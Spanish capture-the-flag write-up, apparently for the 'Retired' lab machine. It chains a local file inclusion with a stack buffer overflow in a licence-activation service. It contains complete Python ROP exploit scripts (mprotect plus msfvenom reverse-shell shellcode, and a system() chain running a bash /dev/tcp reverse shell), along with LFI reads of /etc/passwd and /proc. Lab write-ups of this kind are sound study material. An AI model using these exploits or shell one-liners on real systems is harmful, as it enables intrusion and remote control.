Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 80
que corre un servicio http
❯ nmap 10.10.11.154
Nmap scan report for 10.10.11.154
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Al visitar la pagina principal podemos ver que el archivo es gestionado mediante el parametro page
en la petición GET
el cual por defecto apunta a default.html
Podemos probar un Local File Inclusion
para apuntar a archivos locales de la máquina, en este caso logramos leer directamente el archivo /etc/passwd
❯ curl -s "http://10.10.11.154/?page=/etc/passwd" | grep sh$
root:x:0:0:root:/root:/bin/bash
vagrant:x:1000:1000::/vagrant:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
Si revisamos el archivo index.php
nos encontramos con que deberia haber una sanitización
para el LFI sin embargo desde curl
aunque tenemos un 302
nos detenemos justo antes de la redireccion a default.html
y podemos ver el contenido
❯ curl -s "http://10.10.11.154/?page=index.php"
<?php
function sanitize_input($param) {
$param1 = str_replace("../","",$param);
$param2 = str_replace("./","",$param1);
return $param2;
}
$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
$page = sanitize_input($page);
} else {
header('Location: /index.php?page=default.html');
}
readfile($page);
?>
Por ahora buscaremos mas archivos con extensión .html
, esto podemos bruteforcear usando wfuzz
y un diccionario de rutas, nos encontramos con beta
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.11.154/FUZZ.html -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.154/FUZZ.html
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000232: 200 72 L 304 W 4144 Ch "beta"
000000822: 200 188 L 824 W 11414 Ch "default"
En la página beta.html
nos encontramos con un campo de subida de archivos, donde nos pide que subamos un archivo de licencia
con un tamaño de 512
bytes
Subimos un archivo test
y al interceptar la petición con burpsuite
vemos que la hace a activate_license.php
enviando el contenido del archivo como licensefile
Si miramos lo que hace el php toma el contenido del archivo licensefile
que recibe en la petición y lo reenvia a el puerto 1337
de la 127.0.0.1
mediante un socket
❯ curl -s "http://10.10.11.154/?page=activate_license.php"
<?php
if(isset($_FILES['licensefile'])) {
$license = file_get_contents($_FILES['licensefile']['tmp_name']);
$license_size = $_FILES['licensefile']['size'];
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$socket) { echo "error socket_create()\n"; }
if (!socket_connect($socket, '127.0.0.1', 1337)) {
echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
}
socket_write($socket, pack("N", $license_size));
socket_write($socket, $license);
socket_shutdown($socket);
socket_close($socket);
}
?>
En el archivo /proc/sched_debug
encontramos información sobre los procesos
corriendo, si grepeamos por activate
encontramos uno correspondiente al pid 400
❯ curl -s "http://10.10.11.154/?page=/proc/sched_debug" | grep activate
S activate_licens 400 15754.825063 23 120 0.000000 5.085409 0.000000 0 0 /
Si descargamos el archivo cmdline
del proceso que corresponde al pid 400
podemos ver el comando con el que se ejecuto
el archivo que creo el proceso
❯ curl -s "http://10.10.11.154/?page=/proc/400/cmdline" -o cmdline
❯ cat cmdline
/usr/bin/activate_license1337
Si miramos con xxd
el cmdline nos encontramos que entre activate_license
y 1337
hay un .
que es igual a un espacio lo que significa que 1337 es un argumento
❯ xxd cmdline
00000000: 2f75 7372 2f62 696e 2f61 6374 6976 6174 /usr/bin/activat
00000010: 655f 6c69 6365 6e73 6500 3133 3337 00 e_license.1337.
Shell - www-data
Para ver en que consiste el programa que se ejecuta en el puerto 1337
descargamos con curl el archivo activate_license
para poder analizarlo en local mas adelante
❯ curl -s "http://10.10.11.154/?page=/usr/bin/activate_license" -o activate_license
Otorgamos permisos de ejecución a este y al ejecutarlo nos pide un argumento
, como en el cmdline le pasaremos el 1337
, al hacerlo empieza un listener
en este
❯ chmod +x activate_license
❯ ./activate_license
Error: specify port to bind to
❯ ./activate_license 1337
[+] starting server listening on port 1337
[+] listening ...
Para analizar mejor podemos abrirlo en ida
, la función main inicia comprobando que se reciba un argumento que en este caso sera el puerto donde se pondrá en escucha
Una vez se recibe un puerto se pasa a htons
para darle el formato adecuado, posteriormente se utiliza la función socket
para crear un nuevo socket y luego se llama a bind
simplemente para asociar el socket a la direccion local
Ahora llama a listen
para que ese socket espere una conexion entrante, después con puts
se muestra un mensaje para mostrar que esta en escucha, luego se llama a accept
que deberia aceptar una conexion entrante cualquiera de un cliente
Luego de aceptar la conexión se guarda el nuevo descriptor que pertenece al cliente y le pasa ese socket recibido como argumento a la función activate_license
El primer bloque de la función activate_license
utiliza la función read
para leer el tamaño del buffer que se recibió, que es el archivo que se envia desde la web
Luego de ello se lee el buffer o contenido del archivo, sin embargo este se guarda en un buffer en rbp - 512
por lo que si el tamaño del archivo excede ese limite sobrescribira otros datos ocasionando una vulnerabilidad de buffer overflow
Antes de explotarlo es necesario revisas las protecciones
del binario con checksec
, casi todas estan habilitadas, entre ellas NX
que impide la ejecución en la pila y PIE
que hace aleatoria la dirección base del binario por lo que el rop
se complica
❯ checksec activate_license
[*] '/home/user/activate_license'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Iniciemos usando php
en el directorio donde esta activate_license.php
para asi poder redirigir el licensefile
a la 127.0.0.1
por el puerto 1337
❯ sudo php -S 0.0.0.0:80
PHP 8.2.5 Development Server (http://0.0.0.0:80) started
Ahora con gdb usando el argumento 1337
correremos el programa en ese puerto
❯ gdb -q --args activate_license 1337
Reading symbols from activate_license...
pwndbg> run
Starting program: /home/user/activate_license 1337
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening ...
Podemos usar python
para enviar nuestro payload como archivo licensefile
al activate_license.php
, nuestro payload consiste en 512 A's
que llenaran el buffer, 8 B's
que tomaran el valor de rbp
y 8 C's
que sobrescribirán la dirección de retorno
❯ python3 -q
>>> from pwn import cyclic
>>> import requests
>>> payload = b"A" * 512 + b"B" * 8 + b"C" * 8
>>> requests.post("http://localhost/activate_license.php", files={"licensefile": payload})
<Response [200]>
>>>
Al hacer esto solo un hilo
del programa que esta corriendo en gdb se corrompe, solo nos queda comprobar el payload, rbp
tomo el valor de las B's
y la direccion de retorno las C's
, comprobamos que el offset es de 520
bytes para el retorno
pwndbg> run
Starting program: /home/user/activate_license 1337
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening ...
[+] accepted client connection from 0.0.0.0:0
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] reading 528 bytes
[+] activated license: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Thread 2.1 "activate_licens" received signal SIGSEGV, Segmentation fault.
0x00005555555555c0 in activate_license (sockfd=4) at activate_license.c:64
64 activate_license.c: No existe el fichero o el directorio.
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe298: 0x4343434343434343
pwndbg>
Iniciemos un pequeño script
en python importando algunas librerias que utilizaremos y definiendo el offset
, ademas el junk
que son A's
por el offset
#!/usr/bin/python3
from pwn import p64
import requests
offset = 520
junk = b"A" * offset
Logramos tomar el control de la siguiente dirección a ejecutar sin embargo tenemos varias limitaciones, la mas importante es que no tenemos conexion directa con el programa por lo que no podriamos enviar una cadena rop
para hacer un leak de libc
y volver a main
como en la máquina safe, y si la tuvieramos tampoco seria posible ya que tenemos el PIE
que cambia la dirección base en cada ejecución
Buffer Overflow - mprotect
Aunque no tenemos un leak de libc
tampoco lo necesitamos ya que el exploit se ejecutá en un hilo por lo que las direcciones base no cambian y al tener un LFI
podemos leer el archivo maps
del pid del proceso que contiene las direcciones base tando del binario como de las librerias y segmentos como lo es el stack
❯ curl -s "http://10.10.11.154/?page=/proc/400/maps"
55d3cd575000-55d3cd576000 r--p 00000000 08:01 2408 /usr/bin/activate_license
55d3cd576000-55d3cd577000 r-xp 00001000 08:01 2408 /usr/bin/activate_license
55d3cd577000-55d3cd578000 r--p 00002000 08:01 2408 /usr/bin/activate_license
55d3cd578000-55d3cd579000 r--p 00002000 08:01 2408 /usr/bin/activate_license
55d3cd579000-55d3cd57a000 rw-p 00003000 08:01 2408 /usr/bin/activate_license
55d3ce68f000-55d3ce6b0000 rw-p 00000000 00:00 0 [heap]
7f670e11a000-7f670e11c000 rw-p 00000000 00:00 0
7f670e11c000-7f670e11d000 r--p 00000000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e11d000-7f670e11f000 r-xp 00001000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e11f000-7f670e120000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e120000-7f670e121000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e121000-7f670e122000 rw-p 00004000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e122000-7f670e129000 r--p 00000000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e129000-7f670e139000 r-xp 00007000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e139000-7f670e13e000 r--p 00017000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e13e000-7f670e13f000 r--p 0001b000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e13f000-7f670e140000 rw-p 0001c000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e140000-7f670e144000 rw-p 00000000 00:00 0
7f670e144000-7f670e153000 r--p 00000000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e153000-7f670e1ed000 r-xp 0000f000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e1ed000-7f670e286000 r--p 000a9000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e286000-7f670e287000 r--p 00141000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e287000-7f670e288000 rw-p 00142000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e288000-7f670e2ad000 r--p 00000000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e2ad000-7f670e3f8000 r-xp 00025000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e3f8000-7f670e442000 r--p 00170000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e442000-7f670e443000 ---p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e443000-7f670e446000 r--p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e446000-7f670e449000 rw-p 001bd000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e449000-7f670e44d000 rw-p 00000000 00:00 0
7f670e44d000-7f670e45d000 r--p 00000000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f670e45d000-7f670e555000 r-xp 00010000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f670e555000-7f670e589000 r--p 00108000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f670e589000-7f670e58d000 r--p 0013b000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f670e58d000-7f670e590000 rw-p 0013f000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f670e590000-7f670e592000 rw-p 00000000 00:00 0
7f670e597000-7f670e598000 r--p 00000000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e598000-7f670e5b8000 r-xp 00001000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e5b8000-7f670e5c0000 r--p 00021000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e5c1000-7f670e5c2000 r--p 00029000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e5c2000-7f670e5c3000 rw-p 0002a000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e5c3000-7f670e5c4000 rw-p 00000000 00:00 0
7ffe3ea7d000-7ffe3ea9e000 rw-p 00000000 00:00 0 [stack]
7ffe3eb6f000-7ffe3eb73000 r--p 00000000 00:00 0 [vvar]
7ffe3eb73000-7ffe3eb75000 r-xp 00000000 00:00 0 [vdso]
La tecnica que utilzaremos será usar mprotect
para modificar los permisos de la pila
y hacerla ejecutable
, para despues poder ejecutar ahi nuestro shellcode
, en el manual de mprotect podemos ver que esta función recibe 3 argumentos
, el primer argumento es la dirección a la que queremos cambiarle los privilegios, esta será el stack, la segunda el tamaño del stack y la ultima el permiso donde 7
es igual a rwx
int mprotect(void *addr, size_t len, int prot);
En el archivo maps
podemos ver las direcciones
desde donde inicia hasta donde termina el stack
, con ello obtenemos el primer argumento, para el segundo que es el tamaño
podemos calculardo restandole la direccion de inicio a la de final
stack_start = 0x7ffe3ea7d000
stack_end = 0x7ffe3ea9e000
stack_size = stack_end - stack_start
Además en el archivo maps
podemos tomar la dirección donde inicia libc
en el proceso para tomarlo como libc_base
para algunas operaciones mas adelante
libc_base = 0x7f670e288000
Para poder obtener los ofssets descargaremos el archivo libc
de la máquina
❯ curl -s "http://10.10.11.154/?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so" -o libc-2.31.so
Con readelf
podemos obtener un offset
de la función mprotect
que al sumarlo con la dirección de libc_base
nos daria como resultado la dirección
de la función
❯ readelf -s libc-2.31.so | grep mprotect@@
1225: 00000000000f8c20 33 FUNC WEAK DEFAULT 14 mprotect@@GLIBC_2.2.5
Tenemos los 3 argumentos para mprotect
pero para que la función los tome es necesario tener el control de los registros rdi
, rsi
y rdx
para poder enviarlos ahi y llamarla, para ello con ropper
buscaremos gadgets
que hagan un pop a ellos
❯ ropper --file libc-2.31.so --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc-2.31.so/ELF/x86_64)> search pop rdi; ret;
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: libc-2.31.so
0x0000000000026796: pop rdi; ret;
(libc-2.31.so/ELF/x86_64)> search pop rsi; ret;
[INFO] Searching for gadgets: pop rsi; ret;
[INFO] File: libc-2.31.so
0x000000000002890f: pop rsi; ret;
(libc-2.31.so/ELF/x86_64)> search pop rdx; ret;
[INFO] Searching for gadgets: pop rdx; ret;
[INFO] File: libc-2.31.so
0x00000000000cb1cd: pop rdx; ret;
(libc-2.31.so/ELF/x86_64)>
La idea ahora seria despues de llamar a mprotect
hacer un salto al registro rsp
que es la pila y ahora que ésta es ejecutable ejecutar ahi nuestro shellcode
, aunque no encontramos un jmp rsp
si encontramos instrucciones equivalentes como call esp
(libc-2.31.so/ELF/x86_64)> jmp rsp
JMP Instructions
================
0x0000000000027a5e: call rsp;
0x00000000000307bc: call rsp;
0x000000000003afc9: push rsp; ret;
0x000000000004cf33: push rsp; ret;
0x000000000004d4b3: push rsp; ret;
0x000000000007c2ca: call rsp;
0x00000000000c6f67: call rsp;
0x00000000000c740b: call rsp;
0x00000000000e750a: call rsp;
0x00000000000e75e7: call rsp;
0x00000000000e7e9e: call rsp;
0x00000000000f9c9a: call rsp;
0x00000000000f9cb2: call rsp;
0x00000000000f9d2a: call rsp;
0x00000000000f9d42: call rsp;
0x00000000000fa131: call rsp;
0x00000000000fdc2e: call rsp;
0x0000000000106251: call rsp;
0x000000000012020e: call rsp;
0x0000000000120421: call rsp;
0x0000000000137d99: call rsp;
0x000000000016e7b7: call rsp;
22 gadgets found
(libc-2.31.so/ELF/x86_64)>
Ya en el rsp
podemos ejecutar nuestro shellcode
, en este caso generamos uno con msfvenom
que nos envie una reverse shell
, esto indicando el formato python
❯ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of python file: 432 bytes
shellcode = b""
shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f"
shellcode += b"\x05\x48\x97\x48\xb9\x02\x00\x01\xbb\x0a\x0a"
shellcode += b"\x0e\x0a\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"
shellcode += b"\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21"
shellcode += b"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb"
shellcode += b"\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
shellcode += b"\xe7\x52\x57\x48\x89\xe6\x0f\x05"
Ahora simplemente lo definimos en el script
de python para poder usarlo despues
shellcode = b""
shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f"
shellcode += b"\x05\x48\x97\x48\xb9\x02\x00\x01\xbb\x0a\x0a"
shellcode += b"\x0e\x9b\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"
shellcode += b"\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21"
shellcode += b"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb"
shellcode += b"\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
shellcode += b"\xe7\x52\x57\x48\x89\xe6\x0f\x05"
Nuestra cadena rop
establecerá los argumentos para mprotect
con el fin de que al llamarlo modifique los privilegios del stack a 7
o rwx
para hacerlo ejecutable, luego con un call
al registro rsp
podremos ejecutar nuestro shellcode
en la pila
payload = b""
payload += junk
payload += p64(libc_base + 0x26796) # pop rdi; ret;
payload += p64(stack_start) # addr
payload += p64(libc_base + 0x2890f) # pop rsi; ret;
payload += p64(stack_size) # len
payload += p64(libc_base + 0xcb1cd) # pop rdx; ret;
payload += p64(0x7) # prot
payload += p64(libc_base + 0xf8c20) # mprotect()
payload += p64(libc_base + 0x27a5e) # call rsp;
payload += shellcode
Luego de definir el payload
en el script simplemente mediante una petición POST
enviar el payload como archivo llamado licensefile
a el php de la máquina victima
requests.post("http://10.10.11.154/activate_license.php", files={"licensefile": payload})
El script final para ejecutar el Buffer Overflow
utilizando la función mprotect
para cambiar los permisos de la pila y hacerla ejecutable
quedaria de la siguiente manera
#!/usr/bin/python3
from pwn import p64
import requests
offset = 520
junk = b"A" * offset
libc_base = 0x7f670e288000
stack_start = 0x7ffe3ea7d000
stack_end = 0x7ffe3ea9e000
stack_size = stack_end - stack_start
shellcode = b""
shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f"
shellcode += b"\x05\x48\x97\x48\xb9\x02\x00\x01\xbb\x0a\x0a"
shellcode += b"\x0e\x9b\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"
shellcode += b"\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21"
shellcode += b"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb"
shellcode += b"\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
shellcode += b"\xe7\x52\x57\x48\x89\xe6\x0f\x05"
payload = b""
payload += junk
payload += p64(libc_base + 0x26796) # pop rdi; ret;
payload += p64(stack_start) # addr
payload += p64(libc_base + 0x2890f) # pop rsi; ret;
payload += p64(stack_size) # len
payload += p64(libc_base + 0xcb1cd) # pop rdx; ret;
payload += p64(0x7) # prot
payload += p64(libc_base + 0xf8c20) # mprotect()
payload += p64(libc_base + 0x27a5e) # call rsp;
payload += shellcode
requests.post("http://10.10.11.154/activate_license.php", files={"licensefile": payload})
Al ejecutar el script
enviara la petición con nuestro payload y al programa interpretarla nos enviara una revshell
en este caso como www-data
a nuestro host
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.154
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@retired:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@retired:~$ hostname -I
10.10.11.154
www-data@retired:~$
Buffer Overflow - writable
Otro metodo de explotarlo es usando una sección writable, pero antes necesitaremos obtener del maps
para obtener la dirección base de libc
para los gadgets
libc_base = 0x7f670e288000
Usando rabin2
para ver las secciones de libc
, podemos ver una seccion .data
donde tenemos los permisos rw-
osea que podemos escribir en esta
❯ rabin2 -S libc-2.31.so
[Sections]
nth paddr size vaddr vsize perm type name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- NULL
1 0x000002e0 0x24 0x000002e0 0x24 -r-- NOTE .note.gnu.build-id
2 0x00000304 0x20 0x00000304 0x20 -r-- NOTE .note.ABI-tag
3 0x00000328 0x34f4 0x00000328 0x34f4 -r-- HASH .hash
4 0x00003820 0x3cb4 0x00003820 0x3cb4 -r-- GNU_HASH .gnu.hash
5 0x000074d8 0xde30 0x000074d8 0xde30 -r-- DYNSYM .dynsym
6 0x00015308 0x60c1 0x00015308 0x60c1 -r-- STRTAB .dynstr
7 0x0001b3ca 0x1284 0x0001b3ca 0x1284 -r-- GNU_VERSYM .gnu.version
8 0x0001c650 0x470 0x0001c650 0x470 -r-- GNU_VERDEF .gnu.version_d
9 0x0001cac0 0x30 0x0001cac0 0x30 -r-- GNU_VERNEED .gnu.version_r
10 0x0001caf0 0x7a28 0x0001caf0 0x7a28 -r-- RELA .rela.dyn
11 0x00024518 0x468 0x00024518 0x468 -r-- RELA .rela.plt
12 0x00025000 0x300 0x00025000 0x300 -r-x PROGBITS .plt
13 0x00025300 0x20 0x00025300 0x20 -r-x PROGBITS .plt.got
14 0x00025320 0x149439 0x00025320 0x149439 -r-x PROGBITS .text
15 0x0016e760 0xe4c 0x0016e760 0xe4c -r-x PROGBITS __libc_freeres_fn
16 0x00170000 0x23f18 0x00170000 0x23f18 -r-- PROGBITS .rodata
17 0x00193f20 0x1c 0x00193f20 0x1c -r-- PROGBITS .interp
18 0x00193f3c 0x61b4 0x00193f3c 0x61b4 -r-- PROGBITS .eh_frame_hdr
19 0x0019a0f0 0x1fae8 0x0019a0f0 0x1fae8 -r-- PROGBITS .eh_frame
20 0x001b9bd8 0x41b 0x001b9bd8 0x41b -r-- PROGBITS .gcc_except_table
21 0x001ba5e0 0x10 0x001bb5e0 0x10 -rw- PROGBITS .tdata
22 0x001ba5f0 0x0 0x001bb5f0 0x80 -rw- NOBITS .tbss
23 0x001ba5f0 0x10 0x001bb5f0 0x10 -rw- INIT_ARRAY .init_array
24 0x001ba600 0x2580 0x001bb600 0x2580 -rw- PROGBITS .data.rel.ro
25 0x001bcb80 0x1e0 0x001bdb80 0x1e0 -rw- DYNAMIC .dynamic
26 0x001bcd60 0x298 0x001bdd60 0x298 -rw- PROGBITS .got
27 0x001bd000 0x190 0x001be000 0x190 -rw- PROGBITS .got.plt
28 0x001bd1a0 0x1600 0x001be1a0 0x1600 -rw- PROGBITS .data
29 0x001be7a0 0xf0 0x001bf7a0 0xf0 -rw- PROGBITS __libc_subfreeres
30 0x001be8a0 0xd68 0x001bf8a0 0xd68 -rw- PROGBITS __libc_IO_vtables
31 0x001bf608 0x8 0x001c0608 0x8 -rw- PROGBITS __libc_atexit
32 0x001bf610 0x0 0x001c0620 0x3d50 -rw- NOBITS .bss
33 0x001bf610 0x0 0x001c4370 0x198 -rw- NOBITS __libc_freeres_ptrs
Lo que haremos sera ejecutar un comando con system
asi que usando readelf
buscaremos el offset de la funcion system en la libreria libc
que descargamos
❯ readelf -s libc-2.31.so | grep system@@
1430: 0000000000048e50 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
Lo que nos interesa es ejecutar un oneliner
de bash el cual nos envie una reverse shell
, por ahora lo definiremos y despues veremos como inyectarlo en el programa
command = b"bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'"
Nuestra cadena rop pretende guardar esta cadena en la sección .data para después pasarle esta dirección a system, sin embargo esta cadena solo podemos enviarla en qwords
con un mov
al desreferenciado de un registro, por lo que necesitaremos un gadget tipo mov [???], ???; ret;
y sus respectivos pops
a los registros
❯ ropper --file libc-2.31.so --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc-2.31.so/ELF/x86_64)> search mov [rdi], rsi; ret;
[INFO] Searching for gadgets: mov [rdi], rsi; ret;
[INFO] File: libc-2.31.so
0x00000000000603b2: mov qword ptr [rdi], rsi; ret;
(libc-2.31.so/ELF/x86_64)> search pop rdi; ret;
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: libc-2.31.so
0x0000000000026796: pop rdi; ret;
(libc-2.31.so/ELF/x86_64)> search pop rsi; ret;
[INFO] Searching for gadgets: pop rsi; ret;
[INFO] File: libc-2.31.so
0x000000000002890f: pop rsi; ret;
(libc-2.31.so/ELF/x86_64)>
Iniciaremos el payload
simplemente junk
hasta antes de sobrescribir el retorno
payload = b""
payload += junk
Mediante un bucle for
cargaremos de 8
en 8
bytes del comando al registro rsi
y guardaremos en rdi
la dirección de .data
con el offset necesario, luego al ejecutar el mov
depositaremos los 8
bytes de la cadena en la sección .data
asi que al terminar deberiamos tener todo el comando de bash en la sección .data
for i in range(0, len(command), 8):
payload += p64(libc_base + 0x26796) # pop rdi; ret;
payload += p64(libc_base + 0x1be1a0 + i) # .data
payload += p64(libc_base + 0x2890f) # pop rsi; ret;
payload += command[i:i+8].ljust(8, b"\x00") # string
payload += p64(libc_base + 0x603b2) # mov qword ptr [rdi], rsi; ret;
Para terminar el payload en el registro rdi
guardaremos la direccion de la seccion .data
que contiene nuestro comando de bash, seguido de la funcion system
que al leer el primer argumento de rdi
ejecutara el oneliner y enviara la revshell
payload += p64(libc_base + 0x026796) # pop rdi; ret;
payload += p64(libc_base + 0x1be1a0) # .data
payload += p64(libc_base + 0x048e50) # system()
Finalmente enviamos la petición con el payload
que hemos definido como licensefile
requests.post("http://10.10.11.154/activate_license.php", files={"licensefile": payload})
Este script al ejecutarlo deberia explotar el bof
remotamente y enviarnos la shell
#!/usr/bin/python3
from pwn import p64
import requests
offset = 520
junk = b"A" * offset
libc_base = 0x7f670e288000
command = b"bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'"
payload = b""
payload += junk
for i in range(0, len(command), 8):
payload += p64(libc_base + 0x26796) # pop rdi; ret;
payload += p64(libc_base + 0x1be1a0 + i) # .data
payload += p64(libc_base + 0x2890f) # pop rsi; ret;
payload += command[i:i+8].ljust(8, b"\x00") # string
payload += p64(libc_base + 0x603b2) # mov qword ptr [rdi], rsi; ret;
payload += p64(libc_base + 0x026796) # pop rdi; ret;
payload += p64(libc_base + 0x1be1a0) # .data
payload += p64(libc_base + 0x048e50) # system()
requests.post("http://10.10.11.154/activate_license.php", files={"licensefile": payload})
Al ejecutar el script
enviara la petición con nuestro payload y al programa interpretarla nos enviara una revshell
en este caso como www-data
a nuestro host
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.154
www-data@retired:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@retired:~$ hostname -I
10.10.11.154
www-data@retired:~$
Shell - dev
Si miramos los archivos que hay encontramos 4 archivos zip
de backups, la licencia
generada por la explotación anterior y el directorio html
de la web
www-data@retired:~$ ls -l
-rw-r--r-- 1 dev www-data 505153 Jun 23 17:46 2023-06-23_17-46-07-html.zip
-rw-r--r-- 1 dev www-data 505153 Jun 23 17:47 2023-06-23_17-47-01-html.zip
-rw-r--r-- 1 dev www-data 505153 Jun 23 17:48 2023-06-23_17-48-07-html.zip
-rw-r--r-- 1 dev www-data 505153 Jun 23 17:49 2023-06-23_17-49-01-html.zip
drwxrwsrwx 5 www-data www-data 4096 Mar 11 2022 html
-rw-r--r-- 1 www-data www-data 12288 Jun 23 17:48 license.sqlite
www-data@retired:~$
Como parece que los zip
son creados por una tarea
podemos listar las proximas tareas, faltan 33
segundos para que el servicio website_backup.service
se ejecute
www-data@retired:~$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Fri 2023-06-23 17:50:00 UTC 33s left Fri 2023-06-23 17:49:01 UTC 25s ago website_backup.timer website_backup.service
Fri 2023-06-23 17:55:52 UTC 6min left n/a n/a systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
